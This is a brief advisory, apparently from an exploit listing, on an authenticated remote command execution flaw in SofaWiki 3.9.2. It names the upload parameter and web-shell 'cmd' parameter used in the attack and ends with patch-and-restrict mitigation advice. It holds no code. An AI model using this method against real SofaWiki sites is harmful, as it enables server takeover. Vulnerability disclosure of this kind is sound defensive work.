SofaWiki 3.9.2 – Remote Command Execution (RCE) (Authenticated)

The exploit allows an authenticated attacker to execute arbitrary commands on the target system. By uploading a PHP shell through the 'uploadedfile' parameter in the 'index.php' script, the attacker can run system commands via the 'cmd' parameter in the uploaded PHP shell.

Mitigation:

To mitigate this vulnerability, users should ensure they are using the latest patched version of SofaWiki. Additionally, restrict access to the application and avoid granting unnecessary permissions.
